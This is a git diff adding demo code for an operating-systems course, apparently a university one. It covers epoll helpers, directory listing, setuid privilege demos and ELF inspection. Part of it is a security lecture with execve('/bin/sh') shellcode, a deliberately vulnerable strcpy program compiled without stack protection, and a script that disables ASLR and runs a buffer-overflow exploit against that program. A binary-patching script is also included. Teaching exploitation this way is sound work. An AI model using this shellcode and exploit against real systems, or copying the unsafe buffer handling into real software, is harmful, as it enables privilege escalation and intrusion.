epoll_create(10); +} + +static inline int w_epoll_add_fd_in(int epollfd, int fd) +{ + struct epoll_event ev; + + ev.events = EPOLLIN; + ev.data.fd = fd; + + return epoll_ctl(epollfd, EPOLL_CTL_ADD, fd, &ev); +} + +static inline int w_epoll_add_fd_out(int epollfd, int fd) +{ + struct epoll_event ev; + + ev.events = EPOLLOUT; + ev.data.fd = fd; + + return epoll_ctl(epollfd, EPOLL_CTL_ADD, fd, &ev); +} + +static inline int w_epoll_add_fd_inout(int epollfd, int fd) +{ + struct epoll_event ev; + + ev.events = EPOLLIN | EPOLLOUT; + ev.data.fd = fd; + + return epoll_ctl(epollfd, EPOLL_CTL_ADD, fd, &ev); +} + +static inline int w_epoll_update_fd_in(int epollfd, int fd) +{ + struct epoll_event ev; + + ev.events = EPOLLIN; + ev.data.fd = fd; + + return epoll_ctl(epollfd, EPOLL_CTL_MOD, fd, &ev); +} + +static inline int w_epoll_update_fd_out(int epollfd, int fd) +{ + struct epoll_event ev; + + ev.events = EPOLLOUT; + ev.data.fd = fd; + + return epoll_ctl(epollfd, EPOLL_CTL_MOD, fd, &ev); +} + +static inline int w_epoll_update_fd_inout(int epollfd, int fd) +{ + struct epoll_event ev; + + ev.events = EPOLLIN | EPOLLOUT; + ev.data.fd = fd; + + return epoll_ctl(epollfd, EPOLL_CTL_ADD, fd, &ev); +} + +static inline int w_epoll_remove_fd(int epollfd, int fd) +{ + struct epoll_event ev; + + /* + * ev needn't be initialized + * It has to be passed to epoll as a non-NULL argument for + * pre-2.6.9 kernels. + */ + ev.events = EPOLLIN; + ev.data.fd = fd; + + return epoll_ctl(epollfd, EPOLL_CTL_DEL, fd, &ev); +} + +static inline int w_epoll_add_ptr_in(int epollfd, int fd, void *ptr) +{ + struct epoll_event ev; + + ev.events = EPOLLIN; + ev.data.ptr = ptr; + + return epoll_ctl(epollfd, EPOLL_CTL_ADD, fd, &ev); +} + +static inline int w_epoll_add_ptr_out(int epollfd, int fd, void *ptr) +{ + struct epoll_event ev; + + ev.events = EPOLLOUT; + ev.data.ptr = ptr; + + return epoll_ctl(epollfd, EPOLL_CTL_ADD, fd, &ev); +} + +static inline int w_epoll_add_ptr_inout(int epollfd, int fd, void *ptr) +{ + struct epoll_event ev; + + ev.events = EPOLLIN | EPOLLOUT; + ev.data.ptr = ptr; + + return epoll_ctl(epollfd, EPOLL_CTL_ADD, fd, &ev); +} + +static inline int w_epoll_update_ptr_in(int epollfd, int fd, void *ptr) +{ + struct epoll_event ev; + + ev.events = EPOLLIN; + ev.data.ptr = ptr; + + return epoll_ctl(epollfd, EPOLL_CTL_MOD, fd, &ev); +} + +static inline int w_epoll_update_ptr_out(int epollfd, int fd, void *ptr) +{ + struct epoll_event ev; + + ev.events = EPOLLOUT; + ev.data.ptr = ptr; + + return epoll_ctl(epollfd, EPOLL_CTL_MOD, fd, &ev); +} + +static inline int w_epoll_update_ptr_inout(int epollfd, int fd, void *ptr) +{ + struct epoll_event ev; + + ev.events = EPOLLIN | EPOLLOUT; + ev.data.ptr = ptr; + + return epoll_ctl(epollfd, EPOLL_CTL_MOD, fd, &ev); +} + +static inline int w_epoll_remove_ptr(int epollfd, int fd, void *ptr) +{ + struct epoll_event ev; + + /* + * ev needn't be initialized + * It has to be passed to epoll as a non-NULL argument for + * pre-2.6.9 kernels. + */ + ev.events = EPOLLIN; + ev.data.ptr = ptr; + + return epoll_ctl(epollfd, EPOLL_CTL_DEL, fd, &ev); +} + +static inline int w_epoll_wait_infinite(int epollfd, struct epoll_event *rev) +{ + return epoll_wait(epollfd, rev, 1, EPOLL_TIMEOUT_INFINITE); +} +#ifdef __cplusplus +} +#endif + +#endif /* EPOLL_H_ */ diff --git a/courses/curs-12-demo/5-dirent/.gitignore b/courses/curs-12-demo/5-dirent/.gitignore new file mode 100644 index 00000000..29ed011a --- /dev/null +++ b/courses/curs-12-demo/5-dirent/.gitignore @@ -0,0 +1 @@ +/dirent diff --git a/courses/curs-12-demo/5-dirent/Makefile b/courses/curs-12-demo/5-dirent/Makefile new file mode 100644 index 00000000..e10a4f00 --- /dev/null +++ b/courses/curs-12-demo/5-dirent/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: dirent + +dirent: dirent.o + +dirent.o: dirent.c ../utils/utils.h + +clean: + -rm -f *.o *~ dirent diff --git a/courses/curs-12-demo/5-dirent/dirent.c b/courses/curs-12-demo/5-dirent/dirent.c new file mode 100644 index 00000000..0c085ada --- /dev/null +++ b/courses/curs-12-demo/5-dirent/dirent.c @@ -0,0 +1,67 @@ +#include +#include +#include +#include +#include + +#include "utils.h" + +static char dentry_type_buffer[256]; + +static char *get_entry_type(const struct dirent *de) +{ + switch (de->d_type) { + case DT_BLK: + strcpy(dentry_type_buffer, "block device"); + break; + case DT_CHR: + strcpy(dentry_type_buffer, "character device"); + break; + case DT_DIR: + strcpy(dentry_type_buffer, "directory"); + break; + case DT_FIFO: + strcpy(dentry_type_buffer, "named pipe (FIFO)"); + break; + case DT_LNK: + strcpy(dentry_type_buffer, "symbolic link"); + break; + case DT_REG: + strcpy(dentry_type_buffer, "regular file"); + break; + case DT_SOCK: + strcpy(dentry_type_buffer, "domain file"); + break; + default: + strcpy(dentry_type_buffer, "unknown"); + break; + } + + return dentry_type_buffer; +} + +int main(int argc, char **argv) +{ + char *dirname; + DIR *dirp; + struct dirent *de; + + if (argc != 2) { + fprintf(stderr, "Usage: %s folder-name\n", argv[0]); + exit(EXIT_FAILURE); + } + + dirname = argv[1]; + dirp = opendir(dirname); + DIE(dirp == NULL, "dirname"); + + printf("-- Reading directory %s\n\n", dirname); + while (1) { + de = readdir(dirp); + if (de == NULL) + break; + printf("%s [%s]\n", de->d_name, get_entry_type(de)); + } + + return 0; +} diff --git a/courses/curs-12-demo/create-long-filenames b/courses/curs-12-demo/create-long-filenames new file mode 100644 index 00000000..eaccb632 --- /dev/null +++ b/courses/curs-12-demo/create-long-filenames @@ -0,0 +1,5 @@ +#!/bin/bash + +for i in "a" "b" "c" "d" "e" "f" "g" "h" "i" "j" "k" "l" "m" "n" "o" "p"; do + touch $(perl -e 'print "'"$i"'"x250').txt +done diff --git a/courses/curs-12-demo/utils/utils.h b/courses/curs-12-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-12-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-13-demo/1-setuid/.gitignore b/courses/curs-13-demo/1-setuid/.gitignore new file mode 100644 index 00000000..3f9be022 --- /dev/null +++ b/courses/curs-13-demo/1-setuid/.gitignore @@ -0,0 +1 @@ +/setuid-test diff --git a/courses/curs-13-demo/1-setuid/Makefile b/courses/curs-13-demo/1-setuid/Makefile new file mode 100644 index 00000000..ae58e670 --- /dev/null +++ b/courses/curs-13-demo/1-setuid/Makefile @@ -0,0 +1,18 @@ +CFLAGS = -Wall -g + +.PHONY: all move clean + +all: move + +move: setuid-test + sudo chown root:root setuid-test + sudo chmod u+s setuid-test + +setuid-test: setuid-test.o + +setuid-test.o: setuid-test.c + +clean: + -sudo rm -f setuid-test + -rm -f *~ + -rm -f *.o diff --git a/courses/curs-13-demo/1-setuid/setuid-test.c b/courses/curs-13-demo/1-setuid/setuid-test.c new file mode 100644 index 00000000..3cae1c4b --- /dev/null +++ b/courses/curs-13-demo/1-setuid/setuid-test.c @@ -0,0 +1,76 @@ +#include +#include +#include + +#define _GNU_SOURCE +#include +#include +#include + +static void print_current_uid(void) +{ + uid_t uid, euid, ssuid; + + getresuid(&uid, &euid, &ssuid); + + printf("uid: %d; euid: %d; ssuid: %d\n", uid, euid, ssuid); +} + +static void drop_privilege(uid_t uid) +{ + if (seteuid(uid) == -1) + perror("seteuid"); +} + +static void restore_privilege(uid_t ssuid) +{ + if (seteuid(ssuid) == -1) + perror("seteuid"); +} + +static void drop_all(uid_t uid) +{ + if (setresuid(uid, uid, uid) == -1) + perror("setresuid"); +} + +int main(void) +{ + uid_t uid, euid, ssuid; + getresuid(&uid, &euid, &ssuid); + + printf("initial values:\n"); + print_current_uid(); + + drop_privilege(uid); + printf("after privilege drop\n"); + print_current_uid(); + + restore_privilege(ssuid); + printf("after privilege restore\n"); + print_current_uid(); + + drop_all(1002); + printf("drop all privileges\n"); + print_current_uid(); + + if (setresuid(1000, 1000, -1) == -1) + perror("setresuid"); + printf("change real uid to 1000\n"); + print_current_uid(); + + if (setresuid(0, 0, -1) == -1) + perror("setresuid"); + printf("change real uid to 0\n"); + print_current_uid(); + + drop_all(1002); + printf("drop all privileges\n"); + print_current_uid(); + + restore_privilege(0); + printf("try privilege restore\n"); + print_current_uid(); + + return 0; +} diff --git a/courses/curs-13-demo/2-shellcode/.gitignore b/courses/curs-13-demo/2-shellcode/.gitignore new file mode 100644 index 00000000..e87a2234 --- /dev/null +++ b/courses/curs-13-demo/2-shellcode/.gitignore @@ -0,0 +1 @@ +/shellcode-samples diff --git a/courses/curs-13-demo/2-shellcode/Makefile b/courses/curs-13-demo/2-shellcode/Makefile new file mode 100644 index 00000000..9a5b2173 --- /dev/null +++ b/courses/curs-13-demo/2-shellcode/Makefile @@ -0,0 +1,13 @@ +CFLAGS = -Wall -g +LDFLAGS = -z execstack + +.PHONY: all clean + +all: shellcode-samples + +shellcode-samples: shellcode-samples.o + +shellcode-samples.o: shellcode-samples.c + +clean: + -rm -f shellcode-samples shellcode-samples.o *~ diff --git a/courses/curs-13-demo/2-shellcode/binary-shellcodes b/courses/curs-13-demo/2-shellcode/binary-shellcodes new file mode 100644 index 00000000..03b0f4d9 --- /dev/null +++ b/courses/curs-13-demo/2-shellcode/binary-shellcodes @@ -0,0 +1 @@ +1󷍿纉A夅蛝1郯蛝悙悙1慎岚 Qh//shh/bin夈蛝悙悙1繮h//shh/bin夈PS夅 蛝 \ No newline at end of file diff --git a/courses/curs-13-demo/2-shellcode/shellcode-samples.c b/courses/curs-13-demo/2-shellcode/shellcode-samples.c new file mode 100644 index 00000000..5bf98d60 --- /dev/null +++ b/courses/curs-13-demo/2-shellcode/shellcode-samples.c @@ -0,0 +1,31 @@ +/* + * Works on 32 bit systems. + */ + +#include +#include +#include +#include + +static char *shellcode_write = \ +"\x31\xdb\x31\xd2\x31\xc0\x6a\x41\xfe\xc3" +"\x89\xe1\xfe\xc2\xb0\x04\xcd\x80\x31\xdb" +"\xb0\x01\xcd\x80"; + +static char *shellcode_exec = \ +"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f" +"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd" +"\x80"; + +static char *shellcode_exec_sh = \ +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" +"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" +"\x0b\xcd\x80"; + +int main(void) +{ + printf("shellcode length: %zu\n", strlen(shellcode_exec)); + (*(void (*)()) shellcode_exec)(); + + return 0; +} diff --git a/courses/curs-13-demo/3-exploit/.gitignore b/courses/curs-13-demo/3-exploit/.gitignore new file mode 100644 index 00000000..fbd89fdd --- /dev/null +++ b/courses/curs-13-demo/3-exploit/.gitignore @@ -0,0 +1 @@ +/exploit diff --git a/courses/curs-13-demo/3-exploit/Makefile b/courses/curs-13-demo/3-exploit/Makefile new file mode 100644 index 00000000..e26c85bd --- /dev/null +++ b/courses/curs-13-demo/3-exploit/Makefile @@ -0,0 +1,15 @@ +CFLAGS = -Wall -g -fno-stack-protector -z execstack + +.PHONY: all clean + +all: exploit + +exploit: exploit.o + $(CC) -z execstack -o $@ $^ + +exploit.o: exploit.c + +clean: + -rm -f exploit + -rm -f *~ + -rm -f *.o diff --git a/courses/curs-13-demo/3-exploit/exploit.c b/courses/curs-13-demo/3-exploit/exploit.c new file mode 100644 index 00000000..8ba249c9 --- /dev/null +++ b/courses/curs-13-demo/3-exploit/exploit.c @@ -0,0 +1,14 @@ +/* Run on 32 bit systems. */ +#include +#include +#include + +int main(int argc, char **argv) +{ + char buffer[32]; + + printf("buffer start address is %p\n", buffer); + strcpy(buffer, argv[1]); + + return 0; +} diff --git a/courses/curs-13-demo/3-exploit/run-exploit.sh b/courses/curs-13-demo/3-exploit/run-exploit.sh new file mode 100644 index 00000000..409eb0fd --- /dev/null +++ b/courses/curs-13-demo/3-exploit/run-exploit.sh @@ -0,0 +1,12 @@ +#!/bin/bash + +# Send shellcode string to executable. +# Shellcode: http://www.shell-storm.org/shellcode/files/shellcode-841.php + +# Build exploit executable. +make > /dev/null 2>&1 + +# Disable ASLR: +echo 0 | sudo tee /proc/sys/kernel/randomize_va_space > /dev/null 2>&1 + +./exploit $(perl -e 'print "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; print "a"x23; print "\x40\xf7\xff\xbf"') diff --git a/courses/curs-13-demo/4-stack-smash/.gitignore b/courses/curs-13-demo/4-stack-smash/.gitignore new file mode 100644 index 00000000..4dd9f149 --- /dev/null +++ b/courses/curs-13-demo/4-stack-smash/.gitignore @@ -0,0 +1,2 @@ +/stack-smash-protector +/stack-smash-no-protector diff --git a/courses/curs-13-demo/4-stack-smash/Makefile b/courses/curs-13-demo/4-stack-smash/Makefile new file mode 100644 index 00000000..526ccf57 --- /dev/null +++ b/courses/curs-13-demo/4-stack-smash/Makefile @@ -0,0 +1,16 @@ +CFLAGS = -Wall -g + +.PHONY: all clean + +all: stack-smash-no-protector stack-smash-protector + +stack-smash-no-protector: stack-smash.c + gcc -Wall -g -fno-stack-protector -o $@ $^ + +stack-smash-protector: stack-smash.c + gcc -Wall -g -fstack-protector-all -o $@ $^ + +clean: + -rm -f stack-smash-protector stack-smash-no-protector + -rm -f *~ + -rm -f *.o diff --git a/courses/curs-13-demo/4-stack-smash/stack-smash.c b/courses/curs-13-demo/4-stack-smash/stack-smash.c new file mode 100644 index 00000000..b48e4b7a --- /dev/null +++ b/courses/curs-13-demo/4-stack-smash/stack-smash.c @@ -0,0 +1,17 @@ +#include +#include +#include + +#define TEST_STRING "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + +int main(void) +{ + char a[24]; + memset(a, 0, sizeof(a)); + + printf("sizeof(a) = %lu, strlen(TEST_STRING) = %lu\n", sizeof(a), strlen(TEST_STRING)); + + memcpy(&a[0], TEST_STRING, strlen(TEST_STRING)); + + return 0; +} diff --git a/courses/exec-process-demo/exec-addr/.gitignore b/courses/exec-process-demo/exec-addr/.gitignore new file mode 100644 index 00000000..9756b11a --- /dev/null +++ b/courses/exec-process-demo/exec-addr/.gitignore @@ -0,0 +1 @@ +/exec-addr diff --git a/courses/exec-process-demo/exec-addr/Makefile b/courses/exec-process-demo/exec-addr/Makefile new file mode 100644 index 00000000..3e437e4e --- /dev/null +++ b/courses/exec-process-demo/exec-addr/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g -fno-PIC +LDFLAGS = -no-pie + +.PHONY: all clean + +all: exec-addr + +exec-addr: exec-addr.o + +clean: + -rm -f exec-addr.o exec-addr + -rm -f *~ diff --git a/courses/exec-process-demo/exec-addr/exec-addr.c b/courses/exec-process-demo/exec-addr/exec-addr.c new file mode 100644 index 00000000..417be34a --- /dev/null +++ b/courses/exec-process-demo/exec-addr/exec-addr.c @@ -0,0 +1,51 @@ +/* + * Show addresses in executable and in process. + */ + +#include +#include +#include + +#include "utils.h" + +static int exec_static_int_global = 1; +int exec_int_global = 2; +int exec_int_global_noinit; +const char exec_array_ro[] = "hello"; + +/* Show message and wait for ENTER key press. */ +static void msg_and_wait(const char *msg) +{ + char buf[256]; + + puts(msg); + fputs(" Press ENTER to continue ...", stdout); fflush(stdout); + + while(1) { + fgets(buf, 256, stdin); + if (buf[strlen(buf)-1] == '\n') + break; + } +} + +static void simple_func(void) +{ + printf("Inside %s\n\n", __func__); +} + +int main(void) +{ + simple_func(); + + printf("Run-time addresses are:\n"); + printf("&exec_static_int_global: %p\n", &exec_static_int_global); + printf("&exec_int_global: %p\n", &exec_int_global); + printf("&exec_int_global_noinit: %p\n", &exec_int_global_noinit); + printf("&exec_array_ro: %p\n", &exec_array_ro); + printf("&simple_func: %p\n", simple_func); + printf("&main: %p\n", main); + + msg_and_wait("\nRun `pmap -p $(pidof exec-addr)' to show process map.\n"); + + return 0; +} diff --git a/courses/exec-process-demo/hidden/.gitignore b/courses/exec-process-demo/hidden/.gitignore new file mode 100644 index 00000000..6c48251a --- /dev/null +++ b/courses/exec-process-demo/hidden/.gitignore @@ -0,0 +1 @@ +/hidden_copy diff --git a/courses/exec-process-demo/hidden/Makefile b/courses/exec-process-demo/hidden/Makefile new file mode 100644 index 00000000..369406f1 --- /dev/null +++ b/courses/exec-process-demo/hidden/Makefile @@ -0,0 +1,16 @@ +CFLAGS = -Wall -g -fno-PIC -fno-stack-protector +LDFLAGS = -no-pie + +.PHONY: all clean + +all: hidden + +hidden: hidden.o reader.o + +hidden.o: hidden.c reader.h + +reader.o: reader.c + +clean: + -rm -f hidden.o reader.o hidden + -rm -f *~ diff --git a/courses/exec-process-demo/hidden/hidden b/courses/exec-process-demo/hidden/hidden new file mode 100644 index 00000000..bfa7f1b3 Binary files /dev/null and b/courses/exec-process-demo/hidden/hidden differ diff --git a/courses/exec-process-demo/hidden/hidden.c b/courses/exec-process-demo/hidden/hidden.c new file mode 100644 index 00000000..1715cd82 --- /dev/null +++ b/courses/exec-process-demo/hidden/hidden.c @@ -0,0 +1,30 @@ +#include +#include +#include +#include "reader.h" + +static unsigned int test = 21; +static char success_message[128] = "failed"; + +static void hidden_function(unsigned int rand) +{ + if (test == rand) + puts(success_message); +} + +int main(void) +{ + unsigned int r1, r2; + unsigned int in; + + hidden_function(100); + + srand(time(NULL)); + r1 = rand(); + r2 = rand(); + in = read_uint("Give number: "); + if (in == r1) + hidden_function(r2); + + return 0; +} diff --git a/courses/exec-process-demo/hidden/reader.c b/courses/exec-process-demo/hidden/reader.c new file mode 100644 index 00000000..50c051cb --- /dev/null +++ b/courses/exec-process-demo/hidden/reader.c @@ -0,0 +1,12 @@ +#include +#include + +unsigned int read_uint(const char *message) +{ + char buffer[128]; + + printf("%s", message); + fgets(buffer, 128, stdin); + + return strtol(buffer, NULL, 10); +} diff --git a/courses/exec-process-demo/hidden/reader.h b/courses/exec-process-demo/hidden/reader.h new file mode 100644 index 00000000..46287447 --- /dev/null +++ b/courses/exec-process-demo/hidden/reader.h @@ -0,0 +1,6 @@ +#ifndef READER_H_ +#define READER_H_ 1 + +unsigned int read_uint(const char *message); + +#endif diff --git a/courses/exec-process-demo/hidden/rewrite_exec.sh b/courses/exec-process-demo/hidden/rewrite_exec.sh new file mode 100644 index 00000000..766af98c --- /dev/null +++ b/courses/exec-process-demo/hidden/rewrite_exec.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +test_address=$((0x$(readelf -s hidden | grep ' test$' | awk -F '[ \t]+' '{print $3;}'))) +success_message_address=$((0x$(readelf -s hidden | grep ' success_message$' | awk -F '[ \t]+' '{print $3;}'))) +data_address=$((0x$(readelf -S hidden | grep ' .data ' | awk -F '[ \t]+' '{print $5;}'))) +data_offset=$((0x$(readelf -S hidden | grep ' .data ' | awk -F '[ \t]+' '{print $6;}'))) +test_offset=$((test_address - data_address + data_offset)) +success_message_offset=$((success_message_address - data_address + data_offset)) + +printf "test_offset: 0x%x\n" "$test_offset" +printf "success_message_offset: 0x%x\n" "$success_message_offset" + +cp hidden hidden_copy +echo -en "\x64\x00\x00\x00" | dd seek=$((test_offset)) bs=1 of=hidden_copy conv=notrunc 2> /dev/null +echo -en "success" | dd seek=$((success_message_offset)) bs=1 of=hidden_copy conv=notrunc 2> /dev/null +echo "Generated updated executable in hidden_copy." diff --git a/courses/exec-process-demo/no-libc/.gitignore b/courses/exec-process-demo/no-libc/.gitignore new file mode 100644 index 00000000..66ad132b --- /dev/null +++ b/courses/exec-process-demo/no-libc/.gitignore @@ -0,0 +1,2 @@ +/hello-gas +/hello-nasm diff --git a/courses/exec-process-demo/no-libc/Makefile b/courses/exec-process-demo/no-libc/Makefile new file mode 100644 index 00000000..51405338 --- /dev/null +++ b/courses/exec-process-demo/no-libc/Makefile @@ -0,0 +1,22 @@ +NASM = nasm +GCC = gcc +LDFLAGS = -nostdlib -no-pie -Wl,--entry=main -Wl,--build-id=none + +.PHONY: all clean + +all: hello-nasm hello-gas + +hello-nasm: hello-nasm.o + +hello-gas: hello-gas.o + +hello-gas.o: hello.s + $(GCC) -c -o $@ $< + +hello-nasm.o: hello.asm + $(NASM) -f elf64 -o $@ $< + +clean: + -rm -f hello-nasm.o hello-nasm + -rm -f hello-gas.o hello-gas + -rm -f *~ diff --git a/courses/exec-process-demo/no-libc/hello.asm b/courses/exec-process-demo/no-libc/hello.asm new file mode 100644 index 00000000..503cdc94 --- /dev/null +++ b/courses/exec-process-demo/no-libc/hello.asm @@ -0,0 +1,33 @@ +section .rodata + +hello db "Hello, world!", 10, 0 + +section .text + +global main + +main: + push rbp + mov rsp, rbp + + ; Call write(1, "Hello, world!\n", 14). + ; rax <- __NR_write (index of write syscall: 1) + ; rdi <- first syscall argument (fd: 1) + ; rsi <- second syscall argument (buffer: hello) + ; rdx <- third syscall argument (lenght: 14) + mov rdi, 1 + mov rsi, hello + mov rdx, 14 + mov rax, 1 + syscall + + ; Call exit(0). + ; rax <- __NR_exit (index of exit syscall: 60) + ; rdi <- first syscall argument (error_code: 0) + mov rdi, 0 + mov rax, 60 + syscall + + xor rax, rax + leave + ret diff --git a/courses/exec-process-demo/no-libc/hello.s b/courses/exec-process-demo/no-libc/hello.s new file mode 100644 index 00000000..f4e5b458 --- /dev/null +++ b/courses/exec-process-demo/no-libc/hello.s @@ -0,0 +1,34 @@ +.section .rodata + +hello: + .ascii "Hello, world!\n\0" + +.section .text + +.global main + +main: + push %rbp + mov %rsp, %rbp + + # Call write(1, "Hello, world!\n", 14). + # rax <- __NR_write (index of write syscall: 1) + # rdi <- first syscall argument (fd: 1) + # rsi <- second syscall argument (buffer: hello) + # rdx <- third syscall argument (lenght: 14) + mov $1, %rdi + lea hello, %rsi + mov $14, %rdx + mov $1, %rax + syscall + + # Call exit(0). + # rax <- __NR_exit (index of exit syscall: 60) + # rdi <- first syscall argument (error_code: 0) + mov $0, %rdi + mov $60, %rax + syscall + + xor %rax, %rax + leave + ret diff --git a/courses/exec-process-demo/static-dynamic/.gitignore b/courses/exec-process-demo/static-dynamic/.gitignore new file mode 100644 index 00000000..580e551c --- /dev/null +++ b/courses/exec-process-demo/static-dynamic/.gitignore @@ -0,0 +1,2 @@ +/hello-static +/hello-dynamic diff --git a/courses/exec-process-demo/static-dynamic/Makefile b/courses/exec-process-demo/static-dynamic/Makefile new file mode 100644 index 00000000..d562619d --- /dev/null +++ b/courses/exec-process-demo/static-dynamic/Makefile @@ -0,0 +1,18 @@ +CFLAGS = -Wall -fno-PIC +LDFLAGS = -no-pie + +.PHONY: all clean + +all: hello-static hello-dynamic + +hello-static: hello.o + $(CC) $(LDFLAGS) -static -o $@ $^ + +hello-dynamic: hello.o + $(CC) $(LDFLAGS) -o $@ $^ + +hello.o: hello.c + +clean: + -rm -f hello.o hello-static hello-dynamic + -rm -f *~ diff --git a/courses/exec-process-demo/static-dynamic/hello.c b/courses/exec-process-demo/static-dynamic/hello.c new file mode 100644 index 00000000..84565f73 --- /dev/null +++ b/courses/exec-process-demo/static-dynamic/hello.c @@ -0,0 +1,16 @@ +#include + +static void wait_for_input(const char *msg) +{ + char buf[32]; + + printf(" * %s\n", msg); + printf(" -- Press ENTER to continue ...\n"); fflush(stdout); + fgets(buf, 32, stdin); +} + +int main(void) +{ + wait_for_input("Hello, world!"); + return 0; +} diff --git a/courses/exec-process-demo/utils/utils.h b/courses/exec-process-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/exec-process-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/make-clean b/courses/make-clean new file mode 100644 index 00000000..dc544e66 --- /dev/null +++ b/courses/make-clean @@ -0,0 +1,19 @@ +#!/bin/bash + +if test $# -eq 1; then + id=$(printf "%02g" $1) + for path in $(find curs-"$id"-demo -name 'Makefile*'); do + d=$(dirname "$path") + f=$(basename "$path") + /usr/bin/make -C "$d" -f "$f" clean + done + exit 0 +fi + +for id in $(seq -f "%02g" 1 12); do + for path in $(find curs-"$id"-demo -name 'Makefile*'); do + d=$(dirname "$path") + f=$(basename "$path") + /usr/bin/make -C "$d" -f "$f" clean + done +done diff --git a/courses/publish-demos b/courses/publish-demos new file mode 100644 index 00000000..4aecd287 --- /dev/null +++ b/courses/publish-demos @@ -0,0 +1,17 @@ +#!/bin/bash + +remote_end=so@elf.cs.pub.ro:res/current/cursuri/ + +if test $# -eq 1; then + id=$(printf "%02g" $1) + zip -r curs-$id-demo.zip curs-"$id"-demo/ + scp curs-$id-demo.zip "$remote_end" + exit 0 +fi + +for id in $(seq -f "%02g" 1 14); do + if test -d "curs-$id-demo"; then + zip -r curs-$id-demo.zip curs-"$id"-demo/ + fi +done +scp *.zip "$remote_end"